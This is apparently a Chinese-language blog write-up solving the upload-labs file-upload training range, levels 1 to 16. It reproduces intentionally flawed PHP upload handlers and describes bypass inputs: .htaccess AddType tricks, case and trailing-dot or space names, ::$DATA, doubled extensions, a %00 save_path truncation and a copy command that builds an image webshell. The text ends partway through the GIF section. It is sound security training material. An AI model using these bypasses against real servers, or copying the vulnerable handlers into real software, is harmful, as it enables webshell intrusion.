title: upload-labs
date: 2019-04-17 09:20:52
tags:
- 文件上傳
categories:
- Web安全
- upload-labs
upload-labs是一個(gè)使用php語(yǔ)言編寫(xiě)的玩徊,專門(mén)收集滲透測(cè)試和CTF中遇到的各種上傳漏洞的靶場(chǎng)。旨在幫助大家對(duì)上傳漏洞有一個(gè)全面的了解。目前一共20關(guān),每一關(guān)都包含著不同上傳方式。
前言
感覺(jué)自己對(duì)文件上傳還不是很熟齿尽,做起題目來(lái)毫無(wú)章法,特此通過(guò)做這個(gè)文件上傳20關(guān)來(lái)總結(jié)提升一下灯节。
項(xiàng)目地址:https://github.com/c0ny1/upload-labs
這是所有20關(guān)的考察點(diǎn)循头。我也將按照這個(gè)腦圖分類總結(jié)。
upload-labs write up
每一關(guān)的解法炎疆,我將按照:探測(cè)驗(yàn)證點(diǎn) 代碼分析 繞過(guò)方法的組織結(jié)構(gòu)來(lái)敘述卡骂。其中探測(cè)驗(yàn)證點(diǎn)在前還是后端在Pass-01中寫(xiě)一下,其他Pass可參照Pass1進(jìn)行判斷磷雇。
Pass-01-前端js檢查
探測(cè)驗(yàn)證點(diǎn)
- 首先打開(kāi)burp和瀏覽器
- 上傳1.php文件進(jìn)行觀察
-
這里發(fā)現(xiàn)偿警,http請(qǐng)求都沒(méi)通過(guò)burp就彈出了不允許上傳的提示框,這表明驗(yàn)證點(diǎn)在前端唯笙,而不在服務(wù)端
代碼分析
判斷了驗(yàn)證點(diǎn)在前端之后螟蒸,就可以查看具體js判斷代碼。于是按F12,找到判斷代碼崩掘。
把代碼摳出來(lái)整理一下
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("請(qǐng)選擇要上傳的文件!");
return false;
}
//定義允許上傳的文件類型
var allow_ext = ".jpg|.png|.gif";
//提取上傳文件的類型
var ext_name = file.substring(file.lastIndexOf("."));
//判斷上傳文件類型是否允許上傳
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "該文件不允許上傳七嫌,請(qǐng)上傳" + allow_ext + "類型的文件,當(dāng)前文類型為:" + ext_name;
alert(errMsg);
return false;
}
}
可以看到,上傳之前苞慢,通過(guò)js判斷一下文件后綴是否為.jpg|.png|.gif,不是就不允許上傳诵原。
繞過(guò)方法
對(duì)于前端js驗(yàn)證的繞過(guò)方法較為簡(jiǎn)單,我們可以將要上傳的php文件改后綴名為jpg|png|gif,繞過(guò)js驗(yàn)證后挽放,再用burp更改上傳請(qǐng)求绍赛。或者瀏覽器禁用js后進(jìn)行上傳
Pass-02-只檢查Content-type
代碼分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)辑畦!';
}
} else {
$msg = '文件類型不正確吗蚌,請(qǐng)重新上傳!';
}
} else {
$msg = UPLOAD_PATH.'文件夾不存在,請(qǐng)手工創(chuàng)建纯出!';
}
}
可以看到蚯妇,后端php代碼只對(duì)Content-Type進(jìn)行了檢查。
繞過(guò)方法
在burp中更改Content-Type進(jìn)行繞過(guò)即可暂筝。
Pass-03黑名單繞過(guò)
代碼分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)箩言!';
}
} else {
$msg = '不允許上傳.asp,.aspx,.php,.jsp后綴文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建焕襟!';
}
}
可以看到陨收,服務(wù)器端做了一個(gè)黑名單過(guò)濾,過(guò)濾了 asp鸵赖、aspx畏吓、php、jsp
繞過(guò)方法
不允許上傳.asp,.aspx,.php,.jsp后綴文件卫漫,但是可以上傳其他任意后綴菲饼。比如說(shuō):.phtml .phps .php5 .pht
,但如果上傳的是.php5這種類型文件的話列赎,如果想要被當(dāng)成php執(zhí)行的話宏悦,需要有個(gè)前提條件,即Apache的httpd.conf有如下配置代碼
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
關(guān)于AddType命令的作用解釋如下
AddType 指令
作用:在給定的文件擴(kuò)展名與特定的內(nèi)容類型之間建立映射
語(yǔ)法:AddType MIME-type extension [extension] ...
AddType指令在給定的文件擴(kuò)展名與特定的內(nèi)容類型之間建立映射關(guān)系包吝。MIME-type指明了包含extension擴(kuò)展名的文件的媒體類型饼煞。
AddType 是與類型表相關(guān)的,描述的是擴(kuò)展名與文件類型之間的關(guān)系诗越。
此處黑名單沒(méi)有過(guò)濾.htaccess后綴砖瞧,故此處也可上傳.htaccess文件進(jìn)行繞過(guò)。
注: .htaccess文件生效前提條件為1.mod_rewrite模塊開(kāi)啟嚷狞。2.AllowOverride All
.htaccess文件是Apache服務(wù)器中的一個(gè)配置文件块促,它負(fù)責(zé)相關(guān)目錄下的網(wǎng)頁(yè)配置荣堰。通過(guò)htaccess文件,可以實(shí)現(xiàn):網(wǎng)頁(yè)301重定向竭翠、自定義404錯(cuò)誤頁(yè)面振坚、改變文件擴(kuò)展名、允許/阻止特定的用戶或者目錄的訪問(wèn)斋扰、禁止目錄列表渡八、配置默認(rèn)文檔等功能IIS平臺(tái)上不存在該文件,該文件默認(rèn)開(kāi)啟传货,啟用和關(guān)閉在httpd.conf文件中配置屎鳍。
構(gòu)造.htaccess文件,內(nèi)容如下:AddType application/x-httpd-php .jpg
這里代碼的意思可以讓 .jpg后綴名文件格式的文件名以php格式解析问裕,因此達(dá)到了可執(zhí)行的效果逮壁。所以我們可以把要上傳的php文件的后綴名改為.jpg格式從而繞過(guò)
Pass-04 .htaccess繞過(guò)
代碼分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)!';
}
} else {
$msg = '此文件不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建僻澎!';
}
}
可以看到貌踏,黑名單里php、php5等這種后綴全部不允許上傳窟勃,但并沒(méi)有限制.htaccsess文件祖乳。故可以上傳.htaccsess文件繞過(guò)
繞過(guò)方法
同上Pass-03,利用.htaccsess文件
Pass-05 大小寫(xiě)繞過(guò)
代碼分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)秉氧!';
}
} else {
$msg = '此文件類型不允許上傳眷昆!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建!';
}
}
可以看到汁咏,此處的黑名單比Pass-04多了.htaccess亚斋,所有不能通過(guò).htaccsess進(jìn)行繞過(guò)了。但此處代碼沒(méi)有將文件名統(tǒng)一轉(zhuǎn)成小寫(xiě)攘滩,故可以通過(guò)大小寫(xiě)繞過(guò)
繞過(guò)方法
用burp將后綴改為大寫(xiě)PHP即可
Pass-06 空格繞過(guò)
代碼分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)帅刊!';
}
} else {
$msg = '此文件不允許上傳';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建!';
}
}
可以看到漂问,相比于上面Pass-05代碼赖瞒,這里將文件后綴名統(tǒng)一進(jìn)行了小寫(xiě)轉(zhuǎn)換,但是沒(méi)有去除文件名首尾的空格蚤假。所以此處可以利用windows系統(tǒng)的命名規(guī)則進(jìn)行繞過(guò)
Win下xx.jpg[空格] 或xx.jpg.這兩類文件都是不允許存在的栏饮,若這樣命名,windows會(huì)默認(rèn)除去空格或點(diǎn)
此處會(huì)刪除末尾的點(diǎn)磷仰,但是沒(méi)有去掉末尾的空格袍嬉,因此上傳一個(gè).php[空格]文件即可
繞過(guò)方法
修改文件后綴為1.php .
這種形式,從代碼執(zhí)行流程分析來(lái)看灶平,會(huì)先去除文件名末尾的.,去除之后的文件后綴是 .php[空格]伺通,利用.php[空格]繞過(guò)黑名單箍土,然后利用windows的文件命名規(guī)則默認(rèn)除去空格和.,達(dá)到上傳.php的目的。
Pass-07 點(diǎn)繞過(guò)
代碼分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)泵殴!';
}
} else {
$msg = '此文件類型不允許上傳涮帘!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建拼苍!';
}
}
從代碼上看笑诅,可以發(fā)現(xiàn)相比于Pass-06代碼,加上了首尾去空疮鲫,但是卻少了尾部去點(diǎn)吆你。故和上面Pass-06一樣,利用windows文件命名規(guī)則繞過(guò)俊犯。
繞過(guò)方法
用burp將上傳文件后綴改為.php.即可妇多,詳細(xì)原理與Pass-06類似
Pass-08 ::$DATA繞過(guò)
代碼分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)!';
}
} else {
$msg = '此文件類型不允許上傳燕侠!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建者祖!';
}
}
可以看到,與前面第七關(guān)的代碼相比绢彤,少了去除文件名的"::$DATA"字符串這一步七问。這里還是利用windows的一個(gè)特性。
NTFS文件系統(tǒng)包括對(duì)備用數(shù)據(jù)流的支持茫舶。這不是眾所周知的功能械巡,主要包括提供與Macintosh文件系統(tǒng)中的文件的兼容性。備用數(shù)據(jù)流允許文件包含多個(gè)數(shù)據(jù)流饶氏。每個(gè)文件至少有一個(gè)數(shù)據(jù)流讥耗。在Windows中,此默認(rèn)數(shù)據(jù)流稱為:$ DATA疹启。
簡(jiǎn)單講就是在php+windows的情況下:如果文件名+"::$DATA"會(huì)把::$DATA之后的數(shù)據(jù)當(dāng)成文件流處理,不會(huì)檢測(cè)后綴名.且保持"::$DATA"之前的文件名古程。
注:僅windows適用喔
繞過(guò)方法
由上分析,可知喊崖,用burp將上傳文件后綴改為:xx.php::$DATA
即可挣磨。
Pass-09 點(diǎn)空格點(diǎn)繞過(guò)
代碼分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)!';
}
} else {
$msg = '此文件類型不允許上傳贷祈!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建趋急!';
}
}
可以看到,這里代碼的安全性比之前的都要更高势誊,黑名單類型全呜达,大小寫(xiě)經(jīng)過(guò)轉(zhuǎn)換,去除了文件名末尾的點(diǎn)粟耻,去除了文件名尾空格查近,還去除了::$DATA眉踱。。但是霜威,這里還是可以繞過(guò)的谈喳。這里的代碼邏輯是先刪除文件名末尾的點(diǎn),再進(jìn)行首尾去空戈泼。都只進(jìn)行一次婿禽。故可以構(gòu)造點(diǎn)空格點(diǎn)進(jìn)行繞過(guò),也就是后綴名改為xx.php. .
大猛,也是利用了Windows的特性扭倾。
也就是說(shuō),如果從第三關(guān)到第九關(guān)挽绩,如果目標(biāo)服務(wù)器是windows系統(tǒng)的話膛壹,均可用點(diǎn)空格點(diǎn)繞過(guò)。
繞過(guò)方法
將后綴名改為xx.php. .
即可
Pass-10 雙寫(xiě)繞過(guò)
代碼分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)唉堪!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建模聋!';
}
}
這里代碼沒(méi)有了之前關(guān)卡里的去除文件尾點(diǎn)、空格唠亚、::$DATA的操作链方,估計(jì)是針對(duì)非Windows系統(tǒng)的。這里存在的問(wèn)題是趾撵,利用str_ireplace對(duì)黑名單里的文件后綴名進(jìn)行了替換侄柔,換成空字符,使用了str_ireplace函數(shù)占调,即不區(qū)分大小寫(xiě)暂题,故大小寫(xiě)繞過(guò)不適用。但是這里替換是替換成了空字符究珊,于是我們可以雙寫(xiě)后綴名薪者,如.pphphp
,使得替換后的后綴名為php。
繞過(guò)方法
用burp修改后綴名為 .pphphp
Pass-11 00截?cái)?/h2>
代碼分析
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)剿涮!';
}
} else{
$msg = "只允許上傳.jpg|.png|.gif類型文件言津!";
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)剿涮!';
}
} else{
$msg = "只允許上傳.jpg|.png|.gif類型文件言津!";
}
}
可以發(fā)現(xiàn),這里與之前代碼相比取试,使用了白名單悬槽,只允許上傳,jpg瞬浓,png初婆,gif三種格式文件。
但是在進(jìn)行move_uploaded_file前。利用_GET傳入,導(dǎo)致服務(wù)器最終存儲(chǔ)的文件名可控弊琴。故可以利用這個(gè)點(diǎn)進(jìn)行繞過(guò)兆龙。
這里利用的是00截?cái)唷<磎ove_uploaded_file函數(shù)的底層實(shí)現(xiàn)類似于C語(yǔ)言敲董,遇到0x00會(huì)截?cái)?/p>
截?cái)鄺l件:
1紫皇、php版本小于5.3.4
2、php.ini的magic_quotes_gpc為OFF狀態(tài)
繞過(guò)方法
首先確認(rèn)自己的環(huán)境的php版本環(huán)境是否符合條件臣缀。其次查看php.ini配置文件中的magic_quotes_gpc是否為Off坝橡。我這里是php版本換成了5.2
構(gòu)造
sava_path=/upload/1.php%00
繞過(guò)Pass-12
代碼分析
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上傳失敗";
}
} else {
$msg = "只允許上傳.jpg|.png|.gif類型文件泻帮!";
}
}
這里代碼與上面Pass-11代碼類似精置,不過(guò)是save_path參數(shù)由GET傳入變?yōu)镻OST傳入,利用原理也是00截?cái)嗦嘣印9蔬@里不再敘述
繞過(guò)方法
參照Pass-11
Pass-13 圖片馬 unpack
代碼分析
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只讀2字節(jié)
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知脂倦,上傳失敗元莫!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上傳出錯(cuò)赖阻!";
}
}
}
從這一關(guān)開(kāi)始上傳圖片馬,結(jié)合文件包含進(jìn)行攻擊踱蠢。題目頁(yè)面描述如下圖
這里代碼意思是火欧,將上傳的文件讀取先讀取兩字節(jié),通過(guò)對(duì)比文件頭來(lái)確認(rèn)文件類型茎截。
于是就可以制作圖片馬苇侵,將php語(yǔ)句隱藏在圖片中,然后結(jié)合文件包含漏洞執(zhí)行php企锌。
繞過(guò)方法
利用windows的cmd命令制作copy制作圖片馬
copy 1.jpg /b + shell.php /a shell.jpg
制作完圖片馬后直接上傳榆浓,然后利用文件包含即可。
Pass-14 圖片馬 getimagesize()
代碼分析
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知撕攒,上傳失敹妇椤!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上傳出錯(cuò)抖坪!";
}
}
}
這里getimagesize()函數(shù)解釋如下
繞過(guò)方法
與上面一致
Pass-15 exif_imagetype()
代碼分析
function isImage($filename){
//需要開(kāi)啟php_exif模塊
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知萍鲸,上傳失敗擦俐!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上傳出錯(cuò)脊阴!";
}
}
}
exif_imagetype函數(shù)說(shuō)明如下
繞過(guò)方法
同Pass-13一樣,生成圖片馬上傳
Pass-16 二次渲染繞過(guò)
參考:https://xz.aliyun.com/t/2657 講的很細(xì)
代碼分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 獲得上傳文件的基本信息,文件名蹬叭,類型藕咏,大小,臨時(shí)文件路徑
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 獲得上傳文件的擴(kuò)展名
$fileext= substr(strrchr($filename,"."),1);
//判斷文件后綴與類型秽五,合法才進(jìn)行上傳操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上傳的圖片生成新的圖片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "該文件不是jpg格式的圖片孽查!";
@unlink($target_path);
}else{
//給新圖片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上傳出錯(cuò)!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上傳的圖片生成新的圖片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "該文件不是png格式的圖片坦喘!";
@unlink($target_path);
}else{
//給新圖片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上傳出錯(cuò)盲再!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上傳的圖片生成新的圖片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "該文件不是gif格式的圖片!";
@unlink($target_path);
}else{
//給新圖片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上傳出錯(cuò)瓣铣!";
}
}else{
$msg = "只允許上傳后綴為.jpg|.png|.gif的圖片文件答朋!";
}
}
可以看到,這里先是判斷Content-Type棠笑,然后再用imagecreatefrom[gif|png|jpg]函數(shù)判斷是否是圖片格式梦碗,如果是圖片的話再用image[gif|png|jpg]函數(shù)對(duì)其進(jìn)行二次渲染。
我們可以上傳一個(gè)正常的圖片文件蓖救,觀察其上傳前和上傳后圖片的二進(jìn)制流是否發(fā)生變化洪规,比如我用copy命令生成了shell.jpg,用十六進(jìn)制編輯器打開(kāi)可以看到,文件末尾有我加入的php語(yǔ)句循捺。
將其上傳斩例,將服務(wù)器保存的即被二次渲染過(guò)的圖片保存下來(lái)。
將被二次渲染過(guò)的圖片用十六進(jìn)制編輯器打開(kāi)从橘,如圖,可以看到念赶,圖片的大小大幅減小,且前面加入的PHP代碼也不見(jiàn)了恰力。
繞過(guò)方法
由上面分析可知叉谜,如果想要繞過(guò)二次渲染的話,就要搞清楚二次渲染后牺勾,源文件哪些區(qū)域不會(huì)被修改或壓縮正罢。這里因?yàn)間if、jpg驻民、png三種不同圖片文件的文件格式不同翻具,所以圖片馬的構(gòu)造方法也不同,具體可以參考:https://xz.aliyun.com/t/2657
我這里也簡(jiǎn)單提煉寫(xiě)一下回还。
gif
gif二次渲染繞過(guò)說(shuō)是最簡(jiǎn)單的裆泳。將源文件和二次渲染過(guò)的文件進(jìn)行比較,找出源文件中沒(méi)有被修改的那段區(qū)域柠硕,在那段區(qū)域?qū)懭雙hp代碼即可工禾。
